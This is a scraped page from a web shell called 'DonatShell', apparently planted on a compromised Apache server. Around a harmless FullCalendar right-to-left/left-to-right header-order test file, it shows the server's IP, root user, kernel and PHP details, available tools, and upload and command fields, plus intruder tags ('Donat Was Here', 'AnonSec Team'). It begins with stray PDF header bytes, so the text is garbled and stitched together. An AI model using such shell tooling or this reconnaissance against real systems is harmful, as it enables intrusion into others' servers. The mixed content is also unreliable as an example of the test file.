%PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY Donat Was Here
DonatShell
Server IP : 49.231.201.246  /  Your IP : 216.73.216.146
Web Server : Apache/2.4.18 (Ubuntu)
System : Linux 246 4.4.0-210-generic #242-Ubuntu SMP Fri Apr 16 09:57:56 UTC 2021 x86_64
User : root ( 0)
PHP Version : 7.0.33-0ubuntu0.16.04.16
Disable Function : exec,passthru,shell_exec,system,proc_open,popen,pcntl_exec
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/html/ppaobm/vendor/bower-asset/fullcalendar/tests/automated/legacy/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /var/www/html/ppaobm/vendor/bower-asset/fullcalendar/tests/automated/legacy/timegrid-view.js
import { getHeaderTopEls } from './../view-render/DayGridRenderUtils'
import { DAY_CLASSES } from '../lib/constants'


const [
  SUNDAY_CLASS, MONDAY_CLASS, TUESDAY_CLASS,
  WEDNESDAY_CLASS, THURSDAY_CLASS,
  FRIDAY_CLASS, SATURDY_CLASS
] = DAY_CLASSES

const AXIS_CLASS = 'fc-axis'

describe('timeGrid view rendering', function() {

  describe('when dir is ltr', function() {
    pushOptions({
      defaultView: 'timeGridWeek',
      dir: 'ltr'
    })

    it('should have have days ordered sun to sat', function() {
      initCalendar()
      var headers = getHeaderTopEls()
      expect(headers[0]).toHaveClass(AXIS_CLASS)
      expect(headers[1]).toHaveClass(SUNDAY_CLASS)
      expect(headers[2]).toHaveClass(MONDAY_CLASS)
      expect(headers[3]).toHaveClass(TUESDAY_CLASS)
      expect(headers[4]).toHaveClass(WEDNESDAY_CLASS)
      expect(headers[5]).toHaveClass(THURSDAY_CLASS)
      expect(headers[6]).toHaveClass(FRIDAY_CLASS)
      expect(headers[7]).toHaveClass(SATURDY_CLASS)
    })
  })

  describe('when dir is rtl', function() {
    pushOptions({
      defaultView: 'timeGridWeek',
      dir: 'rtl'
    })

    it('should have have days ordered sat to sun', function() {
      initCalendar()
      var headers = getHeaderTopEls()
      expect(headers[0]).toHaveClass(SATURDY_CLASS)
      expect(headers[1]).toHaveClass(FRIDAY_CLASS)
      expect(headers[2]).toHaveClass(THURSDAY_CLASS)
      expect(headers[3]).toHaveClass(WEDNESDAY_CLASS)
      expect(headers[4]).toHaveClass(TUESDAY_CLASS)
      expect(headers[5]).toHaveClass(MONDAY_CLASS)
      expect(headers[6]).toHaveClass(SUNDAY_CLASS)
      expect(headers[7]).toHaveClass(AXIS_CLASS)
    })
  })

})

Anon7 - 2022
AnonSec Team